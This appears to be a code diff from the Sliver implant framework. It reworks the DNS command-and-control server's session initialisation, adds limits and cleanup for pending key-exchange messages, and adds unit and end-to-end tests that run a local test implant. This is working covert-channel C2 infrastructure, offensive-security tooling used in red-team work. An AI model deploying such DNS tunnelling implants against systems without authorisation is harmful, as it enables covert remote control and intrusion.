s.gcDone = make(chan struct{})
go func() {
ticker := time.NewTicker(defaultPendingDNSInitGCInterval)
defer ticker.Stop()
defer close(s.gcDone)
for {
select {
case <-ticker.C:
s.gcPendingInits()
case <-s.gcStop:
return
}
}
}()
}
func (s *SliverDNSServer) gcPendingInits() {
now := time.Now()
var deleted int64
s.messages.Range(func(key, value any) bool {
p, ok := value.(*pendingInit)
if !ok || p == nil {
if _, loaded := s.messages.LoadAndDelete(key); loaded {
deleted++
}
return true
}
created := p.Created
if created.IsZero() {
created = now
}
if now.Sub(created) > defaultPendingDNSInitTTL {
if _, loaded := s.messages.LoadAndDelete(key); loaded {
deleted++
}
}
return true
})
if deleted > 0 {
s.pendingInits.Add(-deleted)
}
}
// ---------------------------
// DNS Handler
// ---------------------------
@@ -354,6 +440,9 @@ func (s *SliverDNSServer) HandleDNSRequest(domains []string, canaries bool, writ
resp = s.handleCanary(req)
}
if resp != nil {
// These responses often have near-max-length QNAMEs. Enable compression to
// keep UDP responses under the minimum DNS message size limits.
resp.Compress = true
writer.WriteMsg(resp)
} else {
dnsLog.Infof("Invalid query, no DNS response")
@@ -384,24 +473,26 @@ func (s *SliverDNSServer) handleC2(domain string, req *dns.Msg) *dns.Msg {
return s.nameErrorResp(req)
}
// TOTP Handler can be called without dns session ID
if msg.Type == dnspb.DNSMessageType_TOTP {
return s.handleHello(domain, msg, req)
// INIT can be called without an existing server-side session. The server only
// stores session state after validating the key exchange.
if msg.Type == dnspb.DNSMessageType_INIT {
return s.handleDNSSessionInit(domain, msg, checksum, req)
}
// All other handlers require a valid dns session ID
_, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
sessionValue, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
if !ok {
dnsLog.Warnf("[dns] session not found for id %v (%v)", msg.ID, msg.ID&sessionIDBitMask)
return s.nameErrorResp(req)
}
if session, ok := sessionValue.(*DNSSession); ok && session != nil {
session.touch(time.Now())
}
// Msg Type -> Handler
switch msg.Type {
case dnspb.DNSMessageType_NOP:
return s.handleNOP(domain, msg, checksum, req)
case dnspb.DNSMessageType_INIT:
return s.handleDNSSessionInit(domain, msg, checksum, req)
case dnspb.DNSMessageType_POLL:
return s.handlePoll(domain, msg, checksum, req)
case dnspb.DNSMessageType_DATA_FROM_IMPLANT:
@@ -456,81 +547,86 @@ func (s *SliverDNSServer) accumulateInitData(msg *dnspb.DNSMessage) ([]byte, boo
if msg.Size == 0 {
return nil, false, ErrInvalidMsg
}
if msg.Size > defaultMaxDNSInitSize {
return nil, false, ErrInvalidMsg
}
pendingValue, loaded := s.messages.Load(msg.ID)
if !loaded {
pendingValue = &PendingEnvelope{
Size: msg.Size,
received: uint32(0),
messages: map[uint32][]byte{},
mutex: &sync.Mutex{},
complete: false,
// Enforce a hard cap on pending INIT messages to prevent unbounded allocation.
next := s.pendingInits.Add(1)
if int64(defaultMaxPendingDNSInits) > 0 && next > int64(defaultMaxPendingDNSInits) {
s.pendingInits.Add(-1)
return nil, false, ErrInvalidMsg
}
pendingValue = &pendingInit{
Created: time.Now(),
Envelope: &PendingEnvelope{
Size: msg.Size,
received: uint32(0),
messages: map[uint32][]byte{},
mutex: &sync.Mutex{},
complete: false,
},
}
actual, loaded := s.messages.LoadOrStore(msg.ID, pendingValue)
if loaded {
// Another goroutine won the race. Roll back our pending counter.
s.pendingInits.Add(-1)
pendingValue = actual
}
actual, _ := s.messages.LoadOrStore(msg.ID, pendingValue)
pendingValue = actual
}
pending := pendingValue.(*PendingEnvelope)
p, ok := pendingValue.(*pendingInit)
if !ok || p == nil || p.Envelope == nil {
s.deletePendingInit(msg.ID)
return nil, false, ErrInvalidMsg
}
pending := p.Envelope
if pending.Size != msg.Size && msg.Size != 0 {
s.messages.Delete(msg.ID)
s.deletePendingInit(msg.ID)
return nil, false, ErrInvalidMsg
}
if !pending.Insert(msg) {
return nil, false, nil
}
if pending.received > pending.Size {
s.deletePendingInit(msg.ID)
return nil, false, ErrInvalidMsg
}
data, err := pending.Reassemble()
s.messages.Delete(msg.ID)
s.deletePendingInit(msg.ID)
if err != nil {
return nil, false, err
}
return data, true, nil
}
// ---------------------------
// DNS Message Handlers
// ---------------------------
func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[dns] totp request: %v", msg)
dnsSessionID := dnsSessionID()
dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
ID: dnsSessionID & sessionIDBitMask,
dnsIdMsgIdMap: map[uint32]uint32{},
outgoingMsgIDs: []uint32{},
outgoingBuffers: map[uint32][]byte{},
outgoingMutex: &sync.RWMutex{},
incomingEnvelopes: map[uint32]*PendingEnvelope{},
incomingMutex: &sync.Mutex{},
msgCount: uint32(0),
})
resp := new(dns.Msg)
resp.SetReply(req)
resp.Authoritative = true
respBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(respBuf, dnsSessionID)
for _, q := range req.Question {
switch q.Qtype {
case dns.TypeA:
a := &dns.A{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: s.TTL},
A: respBuf,
}
resp.Answer = append(resp.Answer, a)
}
func (s *SliverDNSServer) deletePendingInit(id uint32) {
if _, loaded := s.messages.LoadAndDelete(id); loaded {
s.pendingInits.Add(-1)
}
return resp
}
func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[session init] with dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
sessionID := msg.ID & sessionIDBitMask
dnsLog.Debugf("[session init] with dns session id %d", sessionID)
if sessionID == 0 {
dnsLog.Warnf("[session init] invalid dns session id")
return s.refusedErrorResp(req)
}
if msg.Size <= 32 {
dnsLog.Warnf("[session init] invalid msg data length")
return s.refusedErrorResp(req)
}
if dnsSession.CipherCtx != nil {
dnsLog.Warnf("[session init] session is already initialized")
if existing, ok := s.sessions.Load(sessionID); ok {
// Defensive: INIT should only be called once per session ID.
if dnsSession, ok := existing.(*DNSSession); ok && dnsSession != nil && dnsSession.CipherCtx != nil {
dnsLog.Warnf("[session init] session is already initialized")
return s.refusedErrorResp(req)
}
dnsLog.Warnf("[session init] session already exists")
return s.refusedErrorResp(req)
}
@@ -564,7 +660,27 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
return s.refusedErrorResp(req)
}
now := time.Now()
dnsSession := &DNSSession{
ID: sessionID,
Created: now,
dnsIdMsgIdMap: map[uint32]uint32{},
outgoingMsgIDs: []uint32{},
outgoingBuffers: map[uint32][]byte{},
outgoingMutex: &sync.RWMutex{},
incomingEnvelopes: map[uint32]*PendingEnvelope{},
incomingMutex: &sync.Mutex{},
msgCount: uint32(0),
}
dnsSession.touch(now)
dnsSession.ImplantConn = core.NewImplantConnection("dns", "n/a")
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
if _, loaded := s.sessions.LoadOrStore(sessionID, dnsSession); loaded {
dnsLog.Warnf("[session init] session id collision for %d", sessionID)
return s.refusedErrorResp(req)
}
go func() {
dnsLog.Debugf("[dns] starting implant conn send loop")
for envelope := range dnsSession.ImplantConn.Send {
@@ -572,7 +688,6 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
}
dnsLog.Debugf("[dns] closing implant conn send loop")
}()
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
buf := make([]byte, 4)
binary.LittleEndian.PutUint32(buf, dnsSession.ID)
respData, err := dnsSession.CipherCtx.Encrypt(buf)
@@ -628,6 +743,7 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
dnsLog.Debugf("[poll] with dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
dnsSession.touch(time.Now())
msgID, msgLen, err := dnsSession.PopOutgoingMsgID(msg)
if err != nil {
@@ -709,6 +825,7 @@ func (s *SliverDNSServer) handleDataFromImplant(domain string, msg *dnspb.DNSMes
dnsLog.Debugf("[from implant] dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
dnsSession.touch(time.Now())
dnsLog.Debugf("[from implant] msg id: %d, size: %d", msg.ID, msg.Size)
pending := dnsSession.IncomingPendingEnvelope(msg.ID, msg.Size)
complete := pending.Insert(msg)
@@ -739,6 +856,7 @@ func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessa
dnsLog.Debugf("[to implant] dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
dnsSession.touch(time.Now())
data, err := dnsSession.OutgoingRead(msg.ID, msg.Start, msg.Stop)
if err != nil {
@@ -798,6 +916,7 @@ func (s *SliverDNSServer) handleClear(domain string, msg *dnspb.DNSMessage, chec
dnsLog.Debugf("[clear] dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
dnsSession.touch(time.Now())
dnsSession.ClearOutgoingEnvelope(msg.ID)
respBuf := make([]byte, 4)
+309
View File
@@ -0,0 +1,309 @@
//go:build server && go_sqlite && sliver_e2e
package c2_test
import (
"context"
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"fmt"
"net"
"os"
"runtime"
"strconv"
"testing"
"time"
implantCrypto "github.com/bishopfox/sliver/implant/sliver/cryptography"
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/core"
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/transport"
"github.com/google/uuid"
"google.golang.org/protobuf/proto"
)
const dnsE2EEchoMsgType = uint32(0x7fffffff)
func TestDNS_EndToEndPingRPC(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
t.Cleanup(func() {
for _, session := range core.Sessions.All() {
core.Sessions.Remove(session.ID)
}
})
setupDNSKeyExImplantBuild(t)
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
dnsParent := "e2e.example.com."
dnsPort := freeUDPPort(t)
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
dnsListener, err := rpcClient.StartDNSListener(ctx, &clientpb.DNSListenerReq{
Domains: []string{dnsParent},
Canaries: false,
Host: "127.0.0.1",
Port: dnsPort,
})
if err != nil {
t.Fatalf("StartDNSListener: %v", err)
}
t.Cleanup(func() {
if job := core.Jobs.Get(int(dnsListener.JobID)); job != nil {
job.JobCtrl <- true
}
_ = db.DeleteListener(dnsListener.JobID)
})
// Give the UDP listener a moment to bind before the implant starts sending queries.
time.Sleep(50 * time.Millisecond)
stopImplant := startTestDNSImplant(t, dnsParent, dnsPort)
t.Cleanup(stopImplant)
sessionID := waitForSessionID(t, 10*time.Second)
pingReq := &sliverpb.Ping{
Nonce: 31337,
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: int64(5 * time.Second),
},
}
pingResp, err := rpcClient.Ping(ctx, pingReq)
if err != nil {
t.Fatalf("Ping: %v", err)
}
if pingResp.Nonce != pingReq.Nonce {
t.Fatalf("ping nonce mismatch: %d != %d", pingResp.Nonce, pingReq.Nonce)
}
// Extra validation: send a larger request/response directly via the session to
// force message fragmentation and reassembly over the DNS C2 transport.
session := core.Sessions.Get(sessionID)
if session == nil {
t.Fatalf("session not found: %s", sessionID)
}
large := make([]byte, 8192)
if _, err := rand.Read(large); err != nil {
t.Fatalf("rand.Read: %v", err)
}
resp, err := session.Request(dnsE2EEchoMsgType, 20*time.Second, large)
if err != nil {
t.Fatalf("session.Request(echo): %v", err)
}
if !bytesEqual(resp, large) {
t.Fatalf("echo response mismatch: %d != %d bytes", len(resp), len(large))
}
}
func bytesEqual(a, b []byte) bool {
if len(a) != len(b) {
return false
}
for i := range a {
if a[i] != b[i] {
return false
}
}
return true
}
func freeUDPPort(t *testing.T) uint32 {
t.Helper()
conn, err := net.ListenPacket("udp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen udp: %v", err)
}
defer conn.Close()
_, portStr, err := net.SplitHostPort(conn.LocalAddr().String())
if err != nil {
t.Fatalf("split udp addr: %v", err)
}
port, err := strconv.Atoi(portStr)
if err != nil {
t.Fatalf("parse udp port: %v", err)
}
if port <= 0 || 65535 < port {
t.Fatalf("unexpected udp port: %d", port)
}
return uint32(port)
}
func setupDNSKeyExImplantBuild(t *testing.T) {
t.Helper()
certs.SetupCAs()
serverAgeKeyPair := serverCrypto.AgeServerKeyPair()
peerAgeKeyPair, err := serverCrypto.RandomAgeKeyPair()
if err != nil {
t.Fatalf("random age key pair: %v", err)
}
implantCrypto.SetSecrets(
peerAgeKeyPair.Public,
peerAgeKeyPair.Private,
"",
serverAgeKeyPair.Public,
serverCrypto.MinisignServerPublicKey(),
)
digest := sha256.Sum256([]byte(peerAgeKeyPair.Public))
publicKeyDigest := hex.EncodeToString(digest[:])
implantBuild := &models.ImplantBuild{
Name: "test-" + publicKeyDigest,
PeerPublicKey: peerAgeKeyPair.Public,
PeerPublicKeyDigest: publicKeyDigest,
PeerPrivateKey: peerAgeKeyPair.Private,
AgeServerPublicKey: serverAgeKeyPair.Public,
}
if err := db.Session().Create(implantBuild).Error; err != nil {
t.Fatalf("create implant build: %v", err)
}
t.Cleanup(func() {
_ = db.Session().Delete(implantBuild).Error
})
}
func startTestDNSImplant(t *testing.T, dnsParent string, dnsPort uint32) func() {
t.Helper()
opts := &dnsclient.DNSOptions{
QueryTimeout: 250 * time.Millisecond,
RetryWait: 50 * time.Millisecond,
RetryCount: 10,
MaxErrors: 10,
WorkersPerResolver: 1,
NoTXT: false,
ForceResolvers: fmt.Sprintf("127.0.0.1:%d", dnsPort),
}
// Starting the UDP listener is asynchronous relative to the gRPC call that
// created it. Retry session init for a short time to avoid flakes.
var (
client *dnsclient.SliverDNSClient
err error
)
deadline := time.Now().Add(5 * time.Second)
for {
client, err = dnsclient.DNSStartSession(dnsParent, opts)
if err == nil {
break
}
if time.Now().After(deadline) {
t.Fatalf("DNSStartSession: %v", err)
}
time.Sleep(50 * time.Millisecond)
}
register := &sliverpb.Register{
Name: "e2e-dns",
Hostname: "localhost",
Uuid: uuid.NewString(),
Username: "unit-test",
Os: runtime.GOOS,
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: "sliver-e2e",
ActiveC2: "dns://e2e",
Version: "e2e",
ReconnectInterval: 0,
ProxyURL: "",
Locale: "en_US",
}
regData, err := proto.Marshal(register)
if err != nil {
t.Fatalf("marshal register: %v", err)
}
if err := client.WriteEnvelope(&sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}); err != nil {
t.Fatalf("send register: %v", err)
}
handlers := implantHandlers.GetSystemHandlers()
abort := make(chan struct{})
done := make(chan struct{})
go func() {
defer close(done)
for {
select {
case <-abort:
return
default:
}
envelope, err := client.ReadEnvelope()
switch err {
case nil:
if envelope == nil {
time.Sleep(25 * time.Millisecond)
continue
}
case dnsclient.ErrTimeout:
continue
case dnsclient.ErrClosed:
return
default:
// Treat transient resolver errors as retryable in this test loop.
continue
}
if envelope.ID == 0 {
continue
}
if envelope.Type == dnsE2EEchoMsgType {
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: envelope.Data})
continue
}
handler, ok := handlers[envelope.Type]
if !ok {
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true})
continue
}
handler(envelope.Data, func(data []byte, err error) {
_ = err
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: data})
})
}
}()
return func() {
close(abort)
_ = client.CloseSession()
select {
case <-done:
case <-time.After(5 * time.Second):
}
}
}
+289 -19
View File
@@ -232,31 +232,55 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
}
}
func TestDNSHelloRoundTrip(t *testing.T) {
func TestDNSSessionInitRoundTrip(t *testing.T) {
server := newTestDNSServer()
resolver := &testDNSResolver{server: server, parent: example1}
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
ID: 0,
sessionID := uint32(0x123456)
if _, ok := server.sessions.Load(sessionID); ok {
t.Fatalf("expected session %d to not exist before init", sessionID)
}
domain, err := encodeMessageDomain(example1, msg)
key := implantCrypto.RandomSymmetricKey()
cipherCtx := implantCrypto.NewCipherContext(key)
initData, err := implantCrypto.AgeKeyExToServer(key[:])
if err != nil {
t.Fatalf("encodeMessageDomain failed: %s", err)
t.Fatalf("AgeKeyExToServer failed: %s", err)
}
data, _, err := resolver.A(domain)
initMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x01000000 | sessionID,
Size: uint32(len(initData)),
}
client := dnsclient.NewDNSClient(example1, opts)
domains, err := client.SplitBuffer(initMsg, implantEncoders.Base32Encoder{}, initData)
if err != nil {
t.Fatalf("resolver.A failed: %s", err)
t.Fatalf("SplitBuffer failed: %s", err)
}
if len(data) != 4 {
t.Fatalf("expected 4 bytes in response, got %d", len(data))
var respData []byte
for _, domain := range domains {
data, _, err := resolver.TXT(domain)
if err != nil {
t.Fatalf("resolver.TXT failed: %s", err)
}
if 0 < len(data) {
respData = data
}
}
sessionID := binary.LittleEndian.Uint32(data) & sessionIDBitMask
if sessionID == 0 {
t.Fatal("expected non-zero session id")
if len(respData) < 1 {
t.Fatal("expected non-empty init response")
}
plaintext, err := cipherCtx.Decrypt(respData)
if err != nil {
t.Fatalf("init response decrypt failed: %s", err)
}
got := binary.LittleEndian.Uint32(plaintext) & sessionIDBitMask
if got != sessionID {
t.Fatalf("expected session id %d, got %d", sessionID, got)
}
if _, ok := server.sessions.Load(sessionID); !ok {
t.Fatalf("expected session %d to be stored", sessionID)
t.Fatalf("expected session %d to be stored after init", sessionID)
}
}
@@ -421,7 +445,8 @@ func TestDNSDataToImplantRejectsInvalidRead(t *testing.T) {
}
func TestIsC2Domain(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
listener := StartDNSListener("", uint16(9999), c2Domains, false)
t.Cleanup(func() { _ = listener.Shutdown() })
isC2, domain := listener.isC2SubDomain(c2Domains, "asdf.1.example.com.")
if !isC2 {
t.Fatal("IsC2Domain expected true, got false")
@@ -444,7 +469,8 @@ func TestIsC2Domain(t *testing.T) {
}
func TestDecodeSubdataBase32(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
listener := StartDNSListener("", uint16(9999), c2Domains, false)
t.Cleanup(func() { _ = listener.Shutdown() })
payload := make([]byte, 64)
rand.Read(payload)
original := &dnspb.DNSMessage{
@@ -476,7 +502,8 @@ func TestDecodeSubdataBase32(t *testing.T) {
}
func TestDecodeSubdataRejectsInvalid(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
listener := StartDNSListener("", uint16(9999), c2Domains, false)
t.Cleanup(func() { _ = listener.Shutdown() })
_, _, err := listener.decodeSubdata("invalid")
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg, got %v", err)
@@ -484,7 +511,8 @@ func TestDecodeSubdataRejectsInvalid(t *testing.T) {
}
func TestDecodeSubdataRejectsInvalidProto(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
listener := StartDNSListener("", uint16(9999), c2Domains, false)
t.Cleanup(func() { _ = listener.Shutdown() })
encoded, err := implantEncoders.Base32Encoder{}.Encode([]byte{0x00})
if err != nil {
t.Fatalf("encode failed: %s", err)
@@ -570,6 +598,199 @@ func TestAccumulateInitDataReassembles(t *testing.T) {
}
}
func TestAccumulateInitDataCapsPendingInits(t *testing.T) {
server := newTestDNSServer()
// Only send a single fragment per INIT so each call allocates one pending init.
for i := 0; i < defaultMaxPendingDNSInits+10; i++ {
id := uint32(i + 1) // avoid zero
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: id,
Size: 2048,
Start: 0,
Data: []byte{0xAA},
}
_, complete, err := server.accumulateInitData(msg)
if i < defaultMaxPendingDNSInits {
if err != nil {
t.Fatalf("unexpected error for pending init %d: %v", i, err)
}
if complete {
t.Fatalf("unexpected completion for pending init %d", i)
}
if _, ok := server.messages.Load(id); !ok {
t.Fatalf("expected pending init %d to be stored", id)
}
continue
}
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg after cap, got %v", err)
}
if _, ok := server.messages.Load(id); ok {
t.Fatalf("expected pending init %d to not be stored after cap", id)
}
}
if got := server.pendingInits.Load(); got != int64(defaultMaxPendingDNSInits) {
t.Fatalf("expected pendingInits=%d, got %d", defaultMaxPendingDNSInits, got)
}
var count int64
server.messages.Range(func(key, value any) bool {
count++
return true
})
if count != int64(defaultMaxPendingDNSInits) {
t.Fatalf("expected %d pending init entries, got %d", defaultMaxPendingDNSInits, count)
}
}
func TestAccumulateInitDataCompletionCleansUpPendingInit(t *testing.T) {
server := newTestDNSServer()
client := dnsclient.NewDNSClient(example1, opts)
testData := make([]byte, 2048)
rand.Read(testData)
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x01020304,
Size: uint32(len(testData)),
}
domains, err := client.SplitBuffer(msg, implantEncoders.Base32Encoder{}, testData)
if err != nil {
t.Fatalf("SplitBuffer failed: %s", err)
}
subMsgs := make([]*dnspb.DNSMessage, 0, len(domains))
for _, domain := range domains {
subdata := strings.TrimSuffix(domain, example1)
subdata = strings.ReplaceAll(subdata, ".", "")
raw, err := implantEncoders.Base32Encoder{}.Decode([]byte(subdata))
if err != nil {
t.Fatalf("decode subdata failed: %s", err)
}
subMsg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(raw, subMsg); err != nil {
t.Fatalf("unmarshal submsg failed: %s", err)
}
subMsgs = append(subMsgs, subMsg)
}
for _, subMsg := range subMsgs {
_, _, err := server.accumulateInitData(subMsg)
if err != nil {
t.Fatalf("accumulateInitData failed: %v", err)
}
}
if got := server.pendingInits.Load(); got != 0 {
t.Fatalf("expected pendingInits=0 after completion, got %d", got)
}
if _, ok := server.messages.Load(msg.ID); ok {
t.Fatalf("expected pending init %d to be deleted after completion", msg.ID)
}
}
func TestAccumulateInitDataSizeMismatchCleansUpPendingInit(t *testing.T) {
server := newTestDNSServer()
id := uint32(0x01020304)
// First fragment creates pending state.
_, complete, err := server.accumulateInitData(&dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: id,
Size: 2048,
Start: 0,
Data: []byte{0xAA},
})
if err != nil {
t.Fatalf("unexpected error creating pending init: %v", err)
}
if complete {
t.Fatal("unexpected completion creating pending init")
}
if got := server.pendingInits.Load(); got != 1 {
t.Fatalf("expected pendingInits=1, got %d", got)
}
// Mismatched Size should reject and delete pending state.
_, _, err = server.accumulateInitData(&dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: id,
Size: 2049,
Start: 1,
Data: []byte{0xBB},
})
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg for mismatched size, got %v", err)
}
if got := server.pendingInits.Load(); got != 0 {
t.Fatalf("expected pendingInits=0 after cleanup, got %d", got)
}
if _, ok := server.messages.Load(id); ok {
t.Fatalf("expected pending init %d to be deleted after size mismatch", id)
}
}
func TestGCPendingInitsExpiresOldEntries(t *testing.T) {
server := newTestDNSServer()
now := time.Now()
expiredAt := now.Add(-defaultPendingDNSInitTTL - time.Second)
freshAt := now.Add(-defaultPendingDNSInitTTL / 2)
expiredIDs := make([]uint32, 0, 10)
freshIDs := make([]uint32, 0, 5)
for i := 0; i < 10; i++ {
id := uint32(0x90000000 + i)
expiredIDs = append(expiredIDs, id)
server.messages.Store(id, &pendingInit{
Created: expiredAt,
Envelope: &PendingEnvelope{
Size: 1,
received: 0,
messages: map[uint32][]byte{},
mutex: &sync.Mutex{},
complete: false,
},
})
server.pendingInits.Add(1)
}
for i := 0; i < 5; i++ {
id := uint32(0xA0000000 + i)
freshIDs = append(freshIDs, id)
server.messages.Store(id, &pendingInit{
Created: freshAt,
Envelope: &PendingEnvelope{
Size: 1,
received: 0,
messages: map[uint32][]byte{},
mutex: &sync.Mutex{},
complete: false,
},
})
server.pendingInits.Add(1)
}
server.gcPendingInits()
for _, id := range expiredIDs {
if _, ok := server.messages.Load(id); ok {
t.Fatalf("expected expired pending init %d to be deleted", id)
}
}
for _, id := range freshIDs {
if _, ok := server.messages.Load(id); !ok {
t.Fatalf("expected fresh pending init %d to remain", id)
}
}
if got := server.pendingInits.Load(); got != int64(len(freshIDs)) {
t.Fatalf("expected pendingInits=%d, got %d", len(freshIDs), got)
}
}
func TestSplitToChunksPadding(t *testing.T) {
data := []byte{1, 2, 3, 4, 5, 6}
chunks := splitToChunks(data, 4)
@@ -658,7 +879,6 @@ func newTestDNSServer() *SliverDNSServer {
messages: &sync.Map{},
TTL: 0,
MaxTXTLength: defaultMaxTXTLength,
EnforceOTP: false,
}
}
@@ -860,3 +1080,53 @@ func randomBytes(size int) []byte {
rand.Read(buf)
return buf
}
func TestAccumulateInitDataRejectsOversizedInit(t *testing.T) {
server := newTestDNSServer()
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x01020304,
Size: defaultMaxDNSInitSize + 1,
Data: []byte{0x01},
}
_, _, err := server.accumulateInitData(msg)
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg, got %v", err)
}
}
func TestAccumulateInitDataRejectsReceivedOverrun(t *testing.T) {
server := newTestDNSServer()
// Declared size is 8 bytes, but two chunks deliver 10 bytes total.
first := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x0a0b0c0d,
Size: 8,
Start: 0,
Stop: 5,
Data: []byte("12345"),
}
second := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x0a0b0c0d,
Size: 8,
Start: 5,
Stop: 10,
Data: []byte("67890"),
}
_, complete, err := server.accumulateInitData(first)
if err != nil {
t.Fatalf("unexpected error on first chunk: %v", err)
}
if complete {
t.Fatal("expected incomplete state after first chunk")
}
_, _, err = server.accumulateInitData(second)
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg, got %v", err)
}
}
+1 -1
View File
@@ -128,7 +128,7 @@ func StartWGListenerJob(wgListener *clientpb.WGListenerReq) (*core.Job, error) {
// StartDNSListenerJob - Start a DNS listener as a job
func StartDNSListenerJob(dnsListener *clientpb.DNSListenerReq) (*core.Job, error) {
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries, dnsListener.EnforceOTP)
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries)
description := fmt.Sprintf("%s (canaries %v)", strings.Join(dnsListener.Domains, " "), dnsListener.Canaries)
job := &core.Job{
ID: core.NextJobID(),
+1
View File
@@ -446,6 +446,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
buildLog.Debugf("Generating new sliver binary '%s'", name)
pbC2Implant = models.RandomizeImplantConfig(pbC2Implant, config.GOOS, config.GOARCH)
sliversDir := GetSliversDir() // ~/.sliver/slivers
projectGoPathDir := filepath.Join(sliversDir, config.GOOS, config.GOARCH, filepath.Base(name))
if _, err := os.Stat(projectGoPathDir); os.IsNotExist(err) {
+36
View File
@@ -0,0 +1,36 @@
package rpc
/*
Sliver Implant Framework
Copyright (C) 2020 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// ExecuteChildren - List tracked background execute child processes
func (rpc *Server) ExecuteChildren(ctx context.Context, req *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
resp := &sliverpb.ExecuteChildren{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}